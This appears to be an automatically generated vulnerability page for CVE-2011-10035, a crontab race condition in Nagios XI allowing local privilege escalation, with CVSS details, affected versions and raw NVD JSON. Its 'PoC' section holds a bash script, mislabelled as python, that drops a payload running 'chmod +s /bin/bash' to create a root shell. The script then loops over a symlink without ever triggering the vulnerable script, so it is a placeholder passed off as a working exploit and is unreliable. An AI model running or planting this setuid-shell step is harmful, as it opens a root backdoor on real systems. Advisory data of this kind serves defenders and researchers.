Security Vulnerability Report
中文
CVE-2011-10035 CVSS 7.0 HIGH

CVE-2011-10035

Published: 2025-10-30 22:15:35
Last Modified: 2025-11-06 14:13:17

Description

Nagios XI versions prior to 2011R1.9 contain privilege escalation vulnerabilities in the scripts that install or update system crontab entries. Due to time-of-check/time-of-use race conditions and missing synchronization or final-path validation, a local low-privileged user could manipulate filesystem state during crontab installation to influence the files or commands executed with elevated privileges, resulting in execution with higher privileges.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2011:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2011:r1.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2011:r1.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:nagios_xi:2011:r1.3:*:*:*:*:*:* - VULNERABLE
Nagios XI < 2011R1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2011-10035 PoC - Nagios XI crontab race condition exploit # Target: Nagios XI < 2011R1.9 # Attacker: Local low-privilege user TARGET_SCRIPT="/usr/local/nagiosxi/scripts/install_crontab.sh" EVIL_SCRIPT="/tmp/evil_payload.sh" LINK_TARGET="/tmp/nagios_cron_link" # Create evil payload cat > $EVIL_SCRIPT << 'EOF' #!/bin/bash # This payload executes with root privileges # Add your privilege escalation code here echo "[+] Privilege Escalation Successful" >> /tmp/pwned.txt chmod +s /bin/bash # Spawn root shell EOF chmod +x $EVIL_SCRIPT # Race condition loop for i in {1..100}; do # Create symlink to evil script ln -sf $EVIL_SCRIPT $LINK_TARGET 2>/dev/null # Trigger vulnerable script (if exploitable) # In real attack, this would be the Nagios XI install script # The script would check $LINK_TARGET exists, then execute it # Clean up for next attempt rm -f $LINK_TARGET done echo "[*] Exploit attempt completed. Check /tmp/pwned.txt"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2011-10035", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:34.733", "lastModified": "2025-11-06T14:13:16.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2011R1.9 contain privilege escalation vulnerabilities in the scripts that install or update system crontab entries. Due to time-of-check/time-of-use race conditions and missing synchronization or final-path validation, a local low-privileged user could manipulate filesystem state during crontab installation to influence the files or commands executed with elevated privileges, resulting in execution with higher privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndIncluding": "2009", "matchCriteriaId": "F5A0F705-A92D-4A44-820E-AA95C185FD0A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1:*:*:*:*:*:*", "matchCriteriaId": "B2FB1221-7B2A-4C1F-877B-87A85C5F67F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.1:*:*:*:*:*:*", "matchCriteriaId": "B8A58F77-B01F-43E5-8AB8-9BBC7AFB8EA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.2:*:*:*:*:*:*", "matchCriteriaId": "930BA0E1-526F-444D-B55C-0F3986B28204"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.3:*:*:*:*:*:*", "matchCriteriaId": "12F74EFA-B2E0-4DC6-8ECE-8CBD474B5F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.4:*:*:*:*:*:*", "matchCriteriaId": "21AB904E-BE1B-420E-AA2E-BC45DF8BC745"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.5:*:*:*:*:*:*", "matchCriteriaId": "4664377B-70C1-403A-9A61-F1CECCBC5CEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.6:*:*:*:*:*:*", "matchCriteriaId": "29011240-37E3-499A-AAF1-7B0F722F16A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.7:*:*:*:*:*:*", "matchCriteriaId": "E0E3B832-C219-475D-A433-6914973DCA3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.8:*:*:*:*:*:*", "matchCriteriaId": "5B5DD634-765B-44D0-A1D1-27DC326A3477"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-race-conditions-in-crontab-install-script-lpe", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}